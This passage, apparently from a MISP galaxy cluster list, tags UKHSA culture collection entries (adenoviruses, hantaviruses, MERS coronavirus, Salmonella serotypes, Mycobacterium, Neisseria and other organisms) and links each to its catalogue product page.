https://www.culturecollections.org.uk/nop/product/human-adenovirus-14

Human adenovirus 10

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 10"*

Table 25805. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-10

Human adenovirus 9

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 9"*

Table 25806. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-9

Human adenovirus 8

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 8"*

Table 25807. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-8-2
https://www.culturecollections.org.uk/nop/product/human-adenovirus-8

Human adenovirus 7 (H)

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 7 (H)"*

Table 25808. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-7-h

Human adenovirus 7 (STDJ)

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 7 (STDJ)"*

Table 25809. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-7-stdj

Human adenovirus 6

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 6"*

Table 25810. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-6

Human adenovirus 5

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 5"*

Table 25811. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-5

Dobrava virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Dobrava virus"*

Table 25812. Table References

Links
https://www.culturecollections.org.uk/nop/product/dobrava-virus

Human adenovirus 4

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 4"*

Table 25813. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-4-2
https://www.culturecollections.org.uk/nop/product/human-adenovirus-4

Seoul virus (Humber)

The tag is: *misp-galaxy:ukhsa-culture-collections="Seoul virus (Humber)"*

Table 25814. Table References

Links
https://www.culturecollections.org.uk/nop/product/seoul-virus-humber

Semliki Forest virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Semliki Forest virus"*

Table 25815. Table References

Links
https://www.culturecollections.org.uk/nop/product/semliki-forest-virus-2

Human adenovirus 3

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 3"*

Table 25816. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-3

Oropouche virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Oropouche virus"*

Table 25817. Table References

Links
https://www.culturecollections.org.uk/nop/product/oropouche-virus-2

Human adenovirus 2

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 2"*

Table 25818. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-2

Human adenovirus 1

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 1"*

Table 25819. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-1

MERS coronavirus

The tag is: *misp-galaxy:ukhsa-culture-collections="MERS coronavirus"*

Table 25820. Table References

Links
https://www.culturecollections.org.uk/nop/product/mers-coronavirus-2

Human respiratory syncytial virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Human respiratory syncytial virus"*

Table 25821. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-respiratory-syncytial-virus-13

Salmonella enterica subsp. enterica Serotype Eastbourne

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Eastbourne"*

Table 25822. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-eastbourne-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-eastbourne-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-eastbourne-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-eastbourne-4

Human adenovirus 60

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 60"*

Table 25823. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-60

Human adenovirus 23

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 23"*

Table 25824. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-23

Human adenovirus 62

The tag is: *misp-galaxy:ukhsa-culture-collections="Human adenovirus 62"*

Table 25825. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-adenovirus-62

Salmonella enterica subsp. enterica sertype Typhimurium

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica sertype Typhimurium"*

Table 25826. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-sertype-typhimurium

Inkoo virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Inkoo virus"*

Table 25827. Table References

Links
https://www.culturecollections.org.uk/nop/product/inkoo-virus

Lymphocytic choriomeningitis virus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lymphocytic choriomeningitis virus"*

Table 25828. Table References

Links
https://www.culturecollections.org.uk/nop/product/lymphocytic-choriomeningitis-virus-4

Salmonella enterica subsp. enterica Serotype Newport

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Newport"*

Table 25829. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-newport-9
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-newport-8

Salmonella enterica subsp. enterica serotype Oranienburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Oranienburg"*

Table 25830. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-oranienburg-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-oranienburg

Salmonella enterica subsp. enterica serotype Javiana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Javiana"*

Table 25831. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-javiana

Salmonella enterica subsp. enterica serotype Montevideo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Montevideo"*

Table 25832. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-montevideo

Salmonella enterica subsp. enterica serotype Brandenburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Brandenburg"*

Table 25833. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-brandenburg-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-brandenburg

Salmonella enterica subsp. enterica serotype Moscow

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Moscow"*

Table 25834. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-moscow-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-moscow

Salmonella enterica subsp. enterica serotype Thompson

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Thompson"*

Table 25835. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-thompson

Salmonella enterica subsp. enterica serotype Oslo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Oslo"*

Table 25836. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-oslo

Salmonella enterica subsp. enterica serotype Muenster

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Muenster"*

Table 25837. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-muenster

Salmonella enterica subsp. enterica serotype Worthington

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Worthington"*

Table 25838. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-worthington-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-worthington

Salmonella enterica subsp. enterica serotype Potsdam

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Potsdam"*

Table 25839. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-potsdam

Salmonella enterica subsp. enterica serotype Abortusovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Abortusovis"*

Table 25840. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abortusovis

Salmonella enterica subsp. enterica serotype Blegdam

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Blegdam"*

Table 25841. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-blegdam-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-blegdam

Salmonella enterica subsp. enterica Potsdam

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Potsdam"*

Table 25842. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-potsdam

Salmonella enterica subsp. enterica serotype Stanley

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Stanley"*

Table 25843. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-stanley-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-stanley-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-stanley

Stanley enterica subsp. enterica Serotype Stanley

The tag is: *misp-galaxy:ukhsa-culture-collections="Stanley enterica subsp. enterica Serotype Stanley"*

Table 25844. Table References

Links
https://www.culturecollections.org.uk/nop/product/stanley-enterica-subsp-enterica-serotype-stanley

Salmonella enterica subsp. enterica serotype Reading

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Reading"*

Table 25845. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-reading-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-reading-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-reading

Cronobacter sakazakii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cronobacter sakazakii"*

Table 25846. Table References

Links
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii-2
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii-6
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii-5
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii-4
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii-3
https://www.culturecollections.org.uk/nop/product/cronobacter-sakazakii

Mycobacterium tuberculosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium tuberculosis"*

Table 25847. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-23
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-3

https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-19
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-26
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-28
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-24
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-21
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-10
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-27
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-11
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-12
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-13
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-14
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-15
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-16
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-17
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-18
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-20
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-25
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-22
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-9
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-6
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-tuberculosis

Mycobacterium shimoidei

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium shimoidei"*

Table 25848. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-shimoidei

Mycobacterium nonchromogenicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium nonchromogenicum"*

Table 25849. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-nonchromogenicum-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-nonchromogenicum
https://www.culturecollections.org.uk/nop/product/mycobacterium-nonchromogenicum-2

Mycobacterium canetti

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium canetti"*

Table 25850. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-canetti

Campylobacter hepaticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter hepaticus"*

Table 25851. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-hepaticus

Photobacterium damselae

The tag is: *misp-galaxy:ukhsa-culture-collections="Photobacterium damselae"*

Table 25852. Table References

Links
https://www.culturecollections.org.uk/nop/product/photobacterium-damselae
https://www.culturecollections.org.uk/nop/product/photobacterium-damselae-2
https://www.culturecollections.org.uk/nop/product/photobacterium-damselae-3

Haemophilus ducreyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus ducreyi"*

Table 25853. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-6

https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-2
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-3
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-5
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-4
https://www.culturecollections.org.uk/nop/product/haemophilus-ducreyi-8

Salmonella enterica subsp. salamae serotype Rowbarton

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Rowbarton"*

Table 25854. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-rowbarton-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-rowbarton

Ureaplasma urealyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma urealyticum"*

Table 25855. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-urealyticum

Salmonella enterica subsp. enterica serotype Goldcoast

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Goldcoast"*

Table 25856. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-goldcoast

Salmonella enterica subsp. enterica serotype Bredeney

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bredeney"*

Table 25857. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bredeney-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bredeney

Raoultella planticola

The tag is: *misp-galaxy:ukhsa-culture-collections="Raoultella planticola"*

Table 25858. Table References

Links
https://www.culturecollections.org.uk/nop/product/raoultella-planticola-3
https://www.culturecollections.org.uk/nop/product/raoultella-planticola-2
https://www.culturecollections.org.uk/nop/product/raoultella-planticola
https://www.culturecollections.org.uk/nop/product/raoultella-planticola-4

Neisseria gonorrhoeae

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria gonorrhoeae"*

Table 25859. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-24
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-26
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-50
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-25
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-41
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-47
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-36
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-35
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-34

https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-33
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-32
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-45
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-44
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-43
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-42
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-49
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-30
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-28
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-29
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-27
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-23
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-46
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-37
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-48
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-15
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-22
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-12
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-2
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-3
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-5
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-6
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-18
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-19
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-20
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-7
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-9
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-10
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-14
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-4
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-8
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-17
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-21

https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-11
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-13
https://www.culturecollections.org.uk/nop/product/neisseria-gonorrhoeae-16

Mycobacterium microti

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium microti"*

Table 25860. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-microti
https://www.culturecollections.org.uk/nop/product/mycobacterium-microti-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-microti-2

Lactobacillus acidophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus acidophilus"*

Table 25861. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-5
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-6
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-7
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-2
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-3
https://www.culturecollections.org.uk/nop/product/lactobacillus-acidophilus-4

Klebsiella oxytoca

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella oxytoca"*

Table 25862. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-12
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-13
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-14
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-7
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-8

https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-11
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-10
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-9
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-6
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-2
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-4
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-3
https://www.culturecollections.org.uk/nop/product/klebsiella-oxytoca-5

Escherichia vulneris

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia vulneris"*

Table 25863. Table References

Links
https://www.culturecollections.org.uk/nop/product/escherichia-vulneris

UM-UC-14

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-14"*

Table 25864. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-14

Enterococcus gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus gallinarum"*

Table 25865. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-gallinarum-5
https://www.culturecollections.org.uk/nop/product/enterococcus-gallinarum-2
https://www.culturecollections.org.uk/nop/product/enterococcus-gallinarum-4
https://www.culturecollections.org.uk/nop/product/enterococcus-gallinarum
https://www.culturecollections.org.uk/nop/product/enterococcus-gallinarum-3

Enterococcus faecium

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus faecium"*

Table 25866. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-13
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-14
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-21
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-11
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-12
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-10
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-4
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-20
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-18
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-19
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-15
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-2
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-3
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-16
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-7
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-5
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-8
https://www.culturecollections.org.uk/nop/product/enterococcus-faecium-9

Enterococcus faecalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus faecalis"*

Table 25867. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-22
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-37
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-36
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-31
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-35

https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-19
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-18
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-17
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-13
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-33
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-14
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-15
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-21
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-24
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-32
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-20
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-8
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-6
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-11
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-12
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-16
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-29
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-30
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-23
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-9
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-7
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-5
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-3
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-2
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-10
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis
https://www.culturecollections.org.uk/nop/product/enterococcus-faecalis-4

Enterobacter cloacae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter cloacae"*

Table 25868. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-51
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-52

https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-50
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-56
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-55
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-54
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-53
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-14
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-33
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-26
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-18
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-48
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-49
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-3
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-15
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-25
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-32
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-34
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-45
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-46
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-16
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-23
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-24
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-31
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-39
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-40
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-42
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-44
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-12
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-13
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-2
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-7
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-17
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-37
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-19
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-29

https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-30
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-35
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-36
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-41
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-8
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-9
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-20
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-21
https://www.culturecollections.org.uk/nop/product/enterobacter-cloacae-22
